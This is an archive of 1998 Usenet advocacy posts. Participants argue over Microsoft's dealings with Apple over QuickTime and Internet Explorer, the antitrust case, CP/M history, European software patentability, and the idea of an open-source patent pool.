> they wanted. This is illegal. The lower the price the more illegal it is,
> it's called dumping.
So? I repeat. AT THE TIME MS entered the browser market it's chief
competitor was giving away its browsers. IF YOU DON"T DO THE SAME THING,
how can you compete?
>
> Yes, I'm sure that's exactly what it was about, what you read between the
> lines rather than what was actually said and recorded in mail.
Oh, come on...Any of us could at any time have certain email comments
yanked far wide of context, couldn't we?
>
> How foolish we were to actually read the words of the people actually
> involved in the situation, rather than simply listening to your version.
> No matter that you clearly misrepresent the problem under discussion or
> that your story has no backing in statements by either MS or Apple, noooo,
> your MS apology is the one we should listen to because everything that
> happens is clearly just Apple "whining".
>
And how foolish you are to believe that *only* what is in those scant
emails is *all* that was ever said on the issue. I am so sick and tired
of listening to companies bemoan their complete lack of courage and
decisiveness when dealing with MS! For you it may be refreshing balm. It
just makes me sick...
Date: Fri, 13 Nov 1998 09:59:27 -0500
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <tbrown-1311980959290001@mv111.axom.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <364B07B9.F4870E47@spamtoNull.com> <tbrown-1211981902390001@mv196.axom.com> <01be0eb2$2064ff50$06387880@chewy>
Organization: Newsfeeds.com http://www.newsfeeds.com 60,000+ UNCENSORED Newsgroups.
In article <01be0eb2$2064ff50$06387880@chewy>, "Todd Heberlein (todd at
NetSQ dot com)" <todd@dev.null> wrote:
>Ted Brown <tbrown@netset.com> wrote
>> >(2) Giving Apple a Browser Apple asked for (which cost millions)
>>
>> MS is contractually obligated to provide Mac IE due to a deal with
>AOL.
>
>Microsoft wants to control access to the Internet, and that is done
>largely by controlling the browser most people use to access the
>Internet. To control that access, Microsft has ported IE to all the
>Windows platforms, the Mac, Solaris, and HP-UX. Contracts and money
>have little to do with it. Control of the Internet does.
Yes, all that is true. But, since we are ascribing motives to MS actions
which we can't prove, it's then easy for others to dismiss them. Thus
statements like "Giving Apple a Browser which costs millions".
In fact, MS has no choice, they willingly agreed to provide such in a deal
with AOL. You, of course, state why MS was willing to make the deal. I
guess that's good business, geting a requirement that you wanted to do
anyway.
While I don't think the 'default IE' would be a deal-breaker for the
MS-Apple deal, it really might have been. To MS, it may have been worth
$150 Million (which isn't lost anyway, it's doubled in price since it was
invested), a public agreement to provide Office (which MS was most likely
going to do anyway), a patent swap to end all lawsuits, and an
'undisclosed settlement'.
MS might have viewed the settlement cost as the price to get rid of a
lawsuit (who knows if they'd have won/lost) and to further the cause of
Internet Explorer. in this case, Apple really needed the public to
believe that MS Office was a safe bet for the next few years and really
didn't need the distraction of a protracted lawsuit. It probably needed
those (and the settlement money) more than it cared that MS IE would be
the default browser, and the only one on the desktop.
I still bet that Apple will 'pull a Microsoft', as it will continue the
practice of having an Applescript on the desktop which will launch the
default browser. If the user sets Internet Config to Navigator
(conviently pre-installed), then it meets it's obligations, while making
it simple for users to change to Navigator. No doubt that's why they
caved in on the point -- any user who cared could easily switch (far
easier than downloading a copy of Navigator).
--
tbrown@netset.com
---== http://www.newsfeeds.com - Largest Usenet Server In The World! ==---
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From: WStreett@shell.monmouth.com (Wilbur Streett)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Fri, 13 Nov 1998 15:27:36 GMT
Organization: Monmouth Internet
Message-ID: <364c4f66.172317930@news.monmouth.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36474763.411112238@news.monmouth.com> <727kst$rj6@shelob.afs.com> <3648abc2.502343982@news.monmouth.com> <72e6pn$mun$1@52-a-usw.rb1.blv.nwnexus.net>
tzs@halcyon.com (Tim Smith) wrote:
>Wilbur Streett <WStreett@shell.monmouth.com> wrote:
>>IBM wasn't sent to DR by Gates, DR was the recognized market leader in the
>>OS market and IBM had every intention of licensing CPM-86. Kildall thought
>
>IBM intended to sublicense CPM-86 through MS, not directly from DR.
Care to provide some proof? IBM knew enough about the industry to know
where CPM came from. IBM knew and wasn't asking Gates to licence them CPM,
but to license them tools, (compilers and the like).
>Gates
>said MS couldn't do that, and sent them to talk directly to DR, where they
>ran into two problems. (1) DR wouldn't sign the NDA,
Yes, they wouldn't sign the NDA, because it was unreasonable..
>and (2) CPM-86 was a long way from being ready.
the x86 chip wasn't built into any motherboards at the time either..
Wilbur
From: WStreett@shell.monmouth.com (Wilbur Streett)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: History white-out... (was Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Fri, 13 Nov 1998 15:31:29 GMT
Organization: Monmouth Internet
Message-ID: <364c50a9.172640523@news.monmouth.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3645c232.311367632@news.monmouth.com> <724tp9$fpi$1@52-a-usw.rb1.blv.nwnexus.net> <36474763.411112238@news.monmouth.com> <727kst$rj6@shelob.afs.com> <3648abc2.502343982@news.monmouth.com> <72abh1$9e8$1@nnrp02.primenet.com> <3648eb07.518540652@news.monmouth.com> <72cafk$osn$1@nnrp02.primenet.com> <3649cccf.7814957@news.monmouth.com> <y1uhfw5lwwa.fsf@acuson.com>
Darin Johnson <darin@usa.net.nospam> wrote:
>> CPM was the existing standard..
>
>S-100 was a common hardware standard too. Actually, even after the
>PC, there wasn't really a de-facto standard until it was *cloned*.
>Ie, the IBM PC was just as one-of-a-kind as the Apple-II or TRS-80
>until then.
There was a company that made and x86 S-100 machine that was on the East
Coast.. Anyone remember the name?
Wilbur
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "Knife the baby" finally appears
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Date: Fri, 13 Nov 1998 15:48:57 GMT
In <364A0E7A.8297A437@spamtoNull.com> Jonathan Harker wrote:
> Precisely. The government's position seems to be
Well this is the issue isn't it, what you think it "seems to be".
> that anyone who wants
> to can compete with MS for market share by releasing and promoting free
> products. However, when MS does exactly the same thing the practice
> suddenly becomes an abuse of monopoly power requiring government
> intervention. Rubbish.
Indeed rubbish, because this isn't at all what their position is.
> I see, then. It is perfectly OK for other companies to make demands of
> MS, to make whatever deals they choose with MS, and to even sue MS when
> they want to force MS to comply with their wishes, but if MS insists on
> doing what it thinks is in its best economic interests to protect what
> MS sees as *its* intellectual property--MS should be persecuted by the
> government for being a swaggering tyrant among jelly-bellied weaklings
> (like Intel.)
>
> Oh, please....
Oh please, exactly. Once again you completely mischaracterize the issue,
in this particular case you've put words in my mouth by attempting to say
that the issue is utterly unlike what I clearly said. Here, for the "lame
brains" out there...
a) if you are a monopoly it is illegal to do _anything_ that uses that
power in order to hurt competition
b) it is illegal to do market segmentation, period
Thus your first statement is obviously incorrect, yet the other companies
aren't the ones on trial. "he did it too" has never been a legal defence
that's stood up in court as far as I know.
> Before IE was, Netscape was *giving away* its browser FREE OF CHARGE to
> MILLIONS of people.
Sure, and since Netscape does not have a monopoly on any part of the
market, this is perfectly legal. How is it you find this confusing?
> easily prove it beyond a shadow of a doubt. If there had not been an IE,
> what would the Netscape browsers look like today? Nobody can really
> answer that question, but I think it's fair to say that Communicator
> wouldn't look anything like it does.
What does this have to do with anything whatsoever?
> When Steve Jobs decided that cloners had to go, what did he do? Did he
> not use his own power and contacts within Apple to have everyone who
> disagreed with him fired or retired? Then, did he not systematically set
> upon a deliberate campaign to either pay off or drive out of business
> every single Mac clone company? Yet, I'm sure you defend these actions.
> What Jobs was doing was protecting Apple the best way his own limited
> mentality could define doing it. Is Gates behaving any differently, or
> is he just trying to protect his company in the best way his own limited
> mentality can do it?
And since Apple is not a monopoly, this is perfectly OK, from a legal
standpoint. Once again you're sidestepping the issue.
> It is not at all clear to me that *the court* knows or cares that
> Netscape was giving away free browsers by the truckload *when* MS
> decided to compete with them on the browser front. Personally, I don't
> think the government cares, either.
Nor should they, because it's not the issue.
> > Whether the "baby" was killed or not would likely have ZERO
> > consequence on Apple's bottom line
> It should be the point
No it shouldn't. What does this have to do with the lawsuit? Nothing.
So why should this be the point?
If you want to debate Apple's policies about QT, be my guest, but it has
absolutely nothing to do with this thread.
> It's pathetic, really, as these whole points hinge around conversations
> and nothing more (many of them little better than hearsay and
> scuttlebutt and acrimonious hind-sight).
Well clearly you either don't understand the legal issues, or you do
understand them and are deliberately ignoring them in this thread. Nothing
you have said has changed the facts presented in the case. To date these
have been a clear indication that MS has attempted to split markets with
several different companies, and when such proposals failed they used their
monopoly powers to hurt competion. Both actions are illegal. You haven't
said a SINGLE thing about these, other than to say that other people did it
too. Well so does my local gas stations, but that also has no bearing on
the case either.
> So? I repeat. AT THE TIME MS entered the browser market it's chief
> competitor was giving away its browsers.
And since they weren't a monopoly, no issue. By the way, they were not
giving them away, the browser was _supposed_ to be paid for. Are you now
going to say that since people were ripping off NS this makes it OK?
> IF YOU DON"T DO THE SAME THING, how can you compete?
That's a sillly question. You compete by being different, cheaper, or
better, or any number of ways. MS did it via bundling, which allowed them
to use their overwhelming OS base to push their product out and thus freeze
out NS. Are you truely saying this isn't actually happening?
> Oh, come on...Any of us could at any time have certain email comments
> yanked far wide of context, couldn't we?
Sure, but unlike other people in this forum (not you), I try not to use
them as a basis for my arguments. Did MS go to Apple and attempt to divide
the market? Yes. Is there any indication MS was doing this for any of the
semi-altruistic reasons you claimed? No.
> decisiveness when dealing with MS! For you it may be refreshing balm. It
> just makes me sick...
Again you mischaracterized the whole issue. I don't like this lawsuit
one bit. What made you think I did?
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "Knife the baby" finally appears
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Date: Fri, 13 Nov 1998 15:51:07 GMT
In <364A0F3E.912B8E3E@spamtoNull.com> Jonathan Harker wrote:
=> Please excuse my confusion, here, because folks are acting like
> *something was actually done by Microsoft to kill Quicktime*
No, people are acting like MS _tried_ do do something to QuickTime. And
they did. Apple's refusal to agree to what appears to be illegal actions
is why QT is "still very much around".
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "Knife the baby" finally appears
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<364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com>
Mime-Version: 1.0
Date: Fri, 13 Nov 1998 16:00:50 GMT
In <72dp06$1ks@news1.panix.com> Sal Denaro wrote:
> Attempted murder is still a crime.
In fact it's a crime to *think* you commited murder. If you walk into a
room and shoot a person who died of a heart attack the instant before you
pulled the trigger, you're guilty of attempted murder.
The real question however is whether or not "attempted market splitting"
is a crime. Market splitting is, but I don't know if the attempt or
conspiracy to commit is.
> This sounds like some kind of MS apologist spiel.
Yes.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "Knife the baby" finally appears
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<364B0920.74AB6512@spamtoNull.com>
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Date: Fri, 13 Nov 1998 16:06:04 GMT
In <364B0920.74AB6512@spamtoNull.com> Jonathan Harker wrote:
> > This sounds like some kind of MS apologist spiel.
>
> Spoken with the blindness of a true Mac "Microsoft Hater."
Note again the tortuous logic that he also used on me. Anyone stating
that his arguments are wrong is a true Mac "Microsoft Hater." Hey Jon,
every stop to think that some people hate both companies?
> person could call $150 million, a version of IE for the Mac, a version
> of Office for the Mac (which cost MS millions), and very public support
> for Apple at a time when Apple desperately needed it, mere "MS Apologist
> spiel."
*blink*. Geez, maybe you are as dumb as you sound. He was talking about
*you*, not MS as it's clear you believe from the quote above.
> You deliberately ignore the facts in evidence
Et tu Brutus? Do you mean like where you even *admit* to "reading
between the lines" and coming to a conclusion utterly opposite of the
stated facts? You _admit_ to doing this, and in other messages you state
that you believe that if one company does something it's OK for someone
else to do it, so your argument here contracticts you own prior stated
position.
> never happened or else that they meant nothing) and you concentrate on
> spurious pieces of email, instead The fact that Quicktime is still here
> also means nothing to you. Amazing.
Amazing indeed that you don't think twice about putting words in other
people's mouths. Clearly the fact that QT is still here is paramount to
all of the arguments, including the one you're replying to.
Maury
From: Paul Wolff <paul@wolff.co.uk>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Fri, 13 Nov 1998 15:44:40 +0000
Organization: UDL (Reading)
Message-ID: <oFPnADAoPFT2EA9z@wolff.co.uk>
References: <36425AFD.D0D8EC3D@solarsystems.com>
<36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com>
<slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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<KAi$REAcsAT2EAIj@wolff.co.uk> <364C3479.5C1BFBB5@cadence.com>
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In article <364C3479.5C1BFBB5@cadence.com>, Simon Kinahan
<simonk@cadence.com> writes
>Paul Wolff wrote:
>>
>> In article <364b1f14.1124576@news.demon.co.uk>, Anthony Ord <nws@rolling
>> thunder.demon.co.uk> writes
>> >On Wed, 11 Nov 1998 07:21:27 +0000, "Karsten M. Self"
>> ><kmself@ix.netcom.com> wrote:
>> >
>> >>My position is this:
>> >>
>> >> - For better or worse, SW patents exist, in the US, Japan, and a number
>> >>of European nations. I don't know specifics, IANAL.
>> >
>> >They don't exist in the EU.
>>
>> They do, sir.
>
>From the web site of the European patent office:
>
>The EPC does not define "invention" but contains a list of items
>which cannot be regarded as inventions, or as inventions which are
>susceptible of industrial application or expressly excluded from
>patentability.
>Particular attention should be paid to the following three fields:
>
>....
>The first of these is programs for computers which are not regarded
>as inventions insofar as they are claimed as such. However, if the
>subject-matter claimed adds a contribution of a technical character to
>the known art, a patent should not be refused simply because a
>computer program is involved. This means that, for example,
>machines, processes of manufacture or control processes controlled
>by a computer program may be patented.
>....
>
>
>That would appear to me (as was my understanding previously) to indicate
>that anything which is purely a computer program or a description of one,
>at some level (eg. assebler, high level labguage, or pseudocode), is not
>patentable. That would seem to exclude IBM/Unisys's LZW patents, or the
>recent rash of Microsoft patents.
>
>I'm unclear about 'contributions of a technical character to the known
>art'. Does this, for instance, include painting software ?
>
Let's start with what the EPO says in its examination guidelines (Part
C, Chapter IV, paragraph 2.3):
"A computer program claimed by itself or as a record on a carrier, is
not patentable irrespective of its content. The situation is not
normally changed when the computer program is loaded into a known
computer. If however the subject matter as claimed makes a technical
contribution to the known art, patentability should not be denied merely
on the ground that a computer program is involved in its implementation.
This means, for example, that program-controlled manufacturing and
control processes should normally be regarded as patentable subject-
matter. It follows also that, where the claimed subject-matter is
concerned only with the program-controlled internal working of a known
computer, the subject-matter could be patentable if it provides a
technical effect. As an example consider the case of a known data-
processing system with a small fast working memory and a larger but
slower further memory. Suppose that the two memories are organised
under program control, in such a way that a process which needs more
address space than the capacity of the fast working memory can be
executed at substantially the same speed as if the process data were
loaded entirely in that fast memory. The effect of the program in
virtually extending the working memory is of a technical character and
might therefore support patentability."
In the 1994 EPO Annual Report, and referring to granted patents, so we
are talking about applications filed in the 1980s and late 1970s only,
it is stated that the EPO had granted over 11000 patents for software-
related inventions [a subjective classification, to be sure] in the core
areas of information technology alone, ie digital data processing, data
recognition, representation and storage (IPC classes G 06 and G 11).
Fewer than 100 applications in this area were refused on the grounds
that the subject-matter lacked technical character.
The report also said that the EPO would be analysing US CAFC appeals
relating to software patents carefully "to see whether they have any
bearing on European patent practice".
According to remarks from within the European Commission, the law in
Europe is unclear. "The practice of patent offices is not exactly in
line with the wording of the relevant patent laws. The law excludes
patent protection for software but if you are clever, you can obtain a
patent for this kind of invention. In other words, those who know the
'rules of the game' are successful in getting patents granted for
software inventions, and those who lack this knowledge do not even try
to apply for software patents .... with the European Patent Office".
European software patentability cannot be as liberal as in the United
States without some change in the written law that computer programs as
such are not patentable, but nevertheless the written law is being
interpreted to allow software to be patented in most cases.
--
Paul Wolff
http://www.udl.co.uk
From: brlewis@my-dejanews.com
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! Pro-Linux people propagating anti-Linux FUD
Date: Fri, 13 Nov 1998 16:15:01 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72hlu5$aul$1@nnrp1.dejanews.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <729lc5$hnd$1@nnrp1.dejanews.com> <72b6c2$16v$9@blue.hex.net> <72clqk$3ij$1@nnrp1.dejanews.com> <364A93F5.615EB064@ix.netcom.com> <72evh2$ut$1@nnrp1.dejanews.com> <364BE8FA.CB4F79C4@ix.netcom.com>
In article <364BE8FA.CB4F79C4@ix.netcom.com>,
kmself@ix.netcom.com wrote:
> brlewis@my-dejanews.com wrote:
> > In article <364A93F5.615EB064@ix.netcom.com>,
> > kmself@ix.netcom.com wrote:
> > > Fear is often the most useful weapon in battle. I'd like to see it
> > > rendered ineffective WRT patents & OSS.
> >
> > By posting speculation to Usenet on why you think OSS is more vulnerable,
> > you're providing fuel to FUD campaigns against OSS. I can see the headlines
> > now:
> >
> > "Linux advocates in a panic over possible legal action."
> > "Could your company be sued for using Linux?"
>
> I'm hardly the only person suggesting that this danger exists. Others
> include Linus Torvalds, Alan Cox, and Jeremy Allison. I think if the
> danger does exist, we're doing companies considering OSS a favor by
> making them aware of the issue. Moreover, I suspect that there are
> fairly effective remedies available.
You're not only suggesting that the danger exists, but that it's higher for
OSS than for proprietary software. If others are saying the same thing,
please point me toward what they're saying and I'll argue with them instead.
> > If you're really concerned, speak privately with a good lawyer and try to
come
> > up with a plan.
>
> What makes you think I haven't?
The fact that you haven't said, "I spoke to a patent lawyer who cited
such-and-such as evidence that OSS is more vulnerable to patent suits than
proprietary software." You've presented it simply as your own opinion.
My own opinion has been that there is equal danger in either case. But
having read your point about Linux being substitutable by other
Unix-compatible OSes, I think there's actually a larger danger if you're
using NT or some other OS that isn't compatible with anything else.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Fri, 13 Nov 1998 10:38:51 -0500
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Chad Irby wrote:
>
> Nope. But that was the value put on the patent in the suit. The same
> suit that Microsoft settled rather quickly. QuickTime has been a major
> advantage of Apple's for years now, and Microsoft's aborted attempt to
> steal it (and convince Apple to stop developing ot for Windows) shows that
> quite nicely.
A "value put on a suit" is a meaningless value. It means nothing because
no one is obligated to pay it. If I sue you for ten million dollars
that's no indication that (a) you in fact owe me ten million (b) you
will ever be obligated to pay me ten million (c) that I will win the
case.
Prior to Win95/98/NT, the major advantage for Apple was its OS/GUI.
Quicktime has always been an exceedingly small part of that overall
advantage. Also, I don't think you realize how quickly Apple settled
this suit. It was Amelio holding out for more money. After ousting
Amelio, the first major thing Jobs did was go to Gates and personally
request the money and offer to settle the suit for far less than Amelio
had asked for. This is all a matter of public record. Your
re-interpretation of events is way off the mark.
>
> Go back and read some of the news magazines over the last few weeks. It's
> been a public "secret" for about a year now. In the original settlement,
> Microsoft agreed to some sweeping cross-licensing agreements that would
> really only help Apple.
Except for the fact that you don't seem to realize that the door swings
both ways in cross-licensing deals. Were we privy to the information,
we'd doubtless find that Apple is paying fees to MS for some of its
technology. Or it could be that the two companies are swapping
technology and calling it even. We don't know because we don't have
access to the records. The only thing that is certain is that the deal
is not one-sided as you'd like to believe it is.
>
> ...except for the quarterly payments, and the obvious huge PR payoff in
> getting Microsoft to publicly put money and development into Apple.
Again, this is something Microsoft voluntarily did. The company didn't
"have to" do it...there was no "smoking gun" forcing it to do so, as
you'd like to think. And, we don't know what the "quarterly payments"
amount to, and we don't know what Apple is paying Microsoft as a part of
the cross-licensing deal, either.
>
> On the other hand, Microsoft is proving almost on a daily basis that not
> only are they a lot dumber than even *I* thought, but that you still
> haven't figured out what they've been doing for the last couple of years.
>
I don't blame you...:) If I had as narrow and as one-sided a view of
things as you do, I'd think the same thing.
From: Jonathan <jxoxnxvxwxixlxlx@xixaxsxtxaxtxex.xexdxu>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Fri, 13 Nov 1998 08:38:22 -0600
Organization: Iowa State University
Message-ID: <364C445E.6777@xixaxsxtxaxtxex.xexdxu>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <935681C33D3E3A16.6DEC2EC60DE57E5D.DEAC9FAC3078F03E@library-proxy.airnews.net> <3649A58E.A3BE88BC@ieee.org> <3649BD77.4699D073@ix.netcom.com> <slrn74kqlg.sri.cbbrowne@godel.brownes.org> <364A923D.1E5D1B7D@ix.netcom.com> <364AEF59.3B9@xixaxsxtxaxtxex.xexdxu> <364BC7B4.2B3BD85A@ix.netcom.com>
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Karsten M. Self wrote:
>
> Jonathan wrote:
>
> > It has occurred to me that the U.S. patent process is fundamentally
> > incompatible with the Open Source system -- namely, it seems to me that
> > Open Source requires a full, public disclosure of discoveries that the
> > U.S. Patent system assumes will not take place without a patent
> > application.
>
> I don't see this as incompatible. Patents serve principally to reward
> inventors by providing them property rights (for a limited time) to
> their inventions. What you do with this property right is up to you.
>
> The GPL secures copyright then grants right to copy, under a specific
> set of rules designed to ensure the right to full access cannot be
> hindered. I'm looking for a similar mechanism under patent law --
> aquire the property rights under patent, then ensure free use for free
> software. If non-free use is used to subsidize this, so be it. It's an
> option I'm considering, at any rate.
The problem I see is that the full, immediate disclosure in Open Source
products allows some company to claim it was developing the same thing
up to a year before. Granted, the forgery might be difficult, but could
be done. Is there some way for Open Source projects to get around this?
Regards,
Jonathan
From: "Karsten M. Self" <kmself@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Fri, 13 Nov 1998 16:40:34 +0000
Organization: Self Analysis
Message-ID: <364C6102.6C7A2431@ix.netcom.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <935681C33D3E3A16.6DEC2EC60DE57E5D.DEAC9FAC3078F03E@library-proxy.airnews.net> <3649A58E.A3BE88BC@ieee.org> <3649BD77.4699D073@ix.netcom.com> <slrn74kqlg.sri.cbbrowne@godel.brownes.org> <364A923D.1E5D1B7D@ix.netcom.com> <364AEF59.3B9@xixaxsxtxaxtxex.xexdxu> <364BC7B4.2B3BD85A@ix.netcom.com> <364C445E.6777@xixaxsxtxaxtxex.xexdxu>
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Jonathan wrote:
>
> Karsten M. Self wrote:
> >
> > Jonathan wrote:
> The problem I see is that the full, immediate disclosure in Open Source
> products allows some company to claim it was developing the same thing
> up to a year before. Granted, the forgery might be difficult, but could
> be done. Is there some way for Open Source projects to get around this?
IANAL
AFAIK -- You can't (legally) patent it if you didn't invent it. You
can't patent it if it has been published for over 12 months (in the US,
in other countries, you can't patent post-publication at all). I'm not
sure what the rules are on product and patent filing status -- whether
the fact that OSS "publication" is largely identical with "producing a
product" has an impact on patentability. The fact that much OSS
development happens on open, documented channels (mailing lists and
newsgroups) means that there *is* a "paper" trail of sorts.
Admissibility I'm not sure about. A third party falsifying records in
an attempt to establish prior claim would be a Bad Thing in the eyes of
the court.
Clearly, if patents are to be used in OSS, identification and filing of
patentable technology has to be pretty closely linked to the development
process. This would be resource intensive and require some awareness of
the patent process on the part of developers -- at least the project
maintainer. Because the patentability of a technology has little to do
with how it is expressed in code, it seems that there is at least some
lead-time in design discussions as to how and what is going to be coded,
and the actual doing of the code. It's the design you're patenting, not
the software itself.
--
Karsten M. Self (kmself@ix.netcom.com)
What part of "Gestalt" don't you understand?
Welchen Teil von "Gestalt" verstehen Sie nicht?
web: http://www.netcom.com/~kmself
SAS/Linux: http://www.netcom.com/~kmself/SAS/SAS4Linux.html
8:31am up 6 days, 45 min, 4 users, load average: 0.48, 0.37, 0.17
From: "Karsten M. Self" <kmself@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Fri, 13 Nov 1998 08:42:41 +0000
Organization: Self Analysis
Message-ID: <364BF101.EDDA0F34@ix.netcom.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <935681C33D3E3A16.6DEC2EC60DE57E5D.DEAC9FAC3078F03E@library-proxy.airnews.net> <3649A58E.A3BE88BC@ieee.org> <3649BD77.4699D073@ix.netcom.com> <slrn74kqlg.sri.cbbrowne@godel.brownes.org> <364A923D.1E5D1B7D@ix.netcom.com> <364AFAEF.75892CB1@ieee.org>
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Bruce Hayden wrote:
>
> Karsten M. Self wrote:
> >
> > > It is not obvious that it is IBM's interests to *care* about whether Linux
> > > is successful on the desktop.
>
> > The idea occured to me when IBM's support of Apache was announed that
> > among the things IBM could provide Apache was precisely the IP
> > protection we're discussing here. Subsequent discussions with Apache &
> > IBM folks indicated that an informal arrangement was in place.
<snip>
> I see IBM's involvement maybe a little differently. What some here
> seem to be implying is that the company may be enticed to use its
> huge patent portfolio in defense of some of these products.
>
> I can see this happening if, and only if, such a product becomes
> really strategic to the company. There are a number of reasons for my
> view. First, IBM has a history of playing on as many sides of any
> issue as it can. Thus, throwing a couple of resources at these
> technologies is just portfolio management. If they fail, it still
> has another bunch of things going on, including its own AIX, NT, etc.
Bruce sees most of it. I'm not looking to entice so much as to
demonstrate that the strategic interest exists, and that IBM has
available the tools to protect its interests. From what I've heard,
this case has already been made, and IBM is at least mouthing quietly
(sorry, Lou) that it will protect its OSS interests with IP. It has yet
to walk the walk.
What is IBM's strategic interest? One of their e-Commerce brochures
estimates the market at $426 billion by 2002 (according to IDC --
http://www.software.ibm.com/commerce/ec/eci/pubs/pocket5.pdf). A 1/3 of
1% cut would equal the royalty revenues IBM hopes to make off its patent
portfolio. This is probably sufficient to at least raise the question
in the right places.
> Secondly, the IP portfolio people seem to have a bit of power over
> there and run somewhat autonymously. Their IP portfolio is starting
> to generate a bit of money, and rocking this would take a bit of
> selling.
An OSS patent pool might reduce total royalty revenues. It should aim
also to reduce administrative and management costs of the portfolio.
Together with other strategic business interests in OSS, and/or access
provided to other patents, the pool should be net attractive to a
significant number of players.
There's some more information on IBM's attempts to make patents more
profitable in this 3/1997 article
(http://www.dqindia.com/apr3097/3id2081101.html). Note that a
justification given is to recoup IBM's $5 billion annual R&D
investment. Bad reporting. *That* should be recouped in normal
business ops. I'd be much more interested in what the IP support bill
is runs per year.
> I think that the reality is that their investments to-date have
> been de minimus, mostly on the order of covering themselves.
> Its much too early for them to consider this as strategic,
> and thus much too early to invest their immense patent portfolio
> in the endeaver.
Definitely something you want to build slowly and carefully, yes.
> Nice idea, but I think a bit hard logically. One problem that I
> see is that it is very hard for a company such as IBM, Intel, etc.
> to strip off just a bit of their portfolio. That is becuase they
> usually license big chunks, if not the whole thing. They have to
> keep in mind the impact that this is going to have on their future
> licensing negotiations.
>
> And the problem is that much worse if you are suggesting that they
> throw their entire portfolio into the pool. IBM for example supposedly
> makes $800 million a year on licensing theirs, with a mandate to
> hit a billion in the next year or so. Their IP portfolio guys are
> getting quite a bit more agressive than they have been in the past.
Yes, there are a lot of tough questions to answer before this is
viable. I think Bruce is interpreting the pool a bit too restrictively.
OSS patent licensing need not mean that:
- All a companies patents are licensed to OSS
- Non-OSS licensing is not an option
- Non-OSS licensing must be royalty-free
- That the pool has exclusive right to license
Ideally, the pool would be a patent management organization, oriented
around OSS and supporting OSS developers, in which companies could vest
a major portion of their patent assets. The pool would make these
patents available to OSS, and offer the opportunity to manage non-OSS
use of the patents as well, on a non-exclusive basis.
I've been thinking about this for a while, and think I've worked out
some reasonable ways to ensure equal participation, fair evaluation of
assets, incentive to put patents at risk should the need arise in a
patent challenge, and providing good reasons for the major players --
OSS developers, commercial patent holders, OSS venders & users -- to
participate. These are all critical issues, and the concept may still
be too complex to stand. Several of the issues have been discussed with
members of the OSS community, I'm now looking for a broader audience.
--
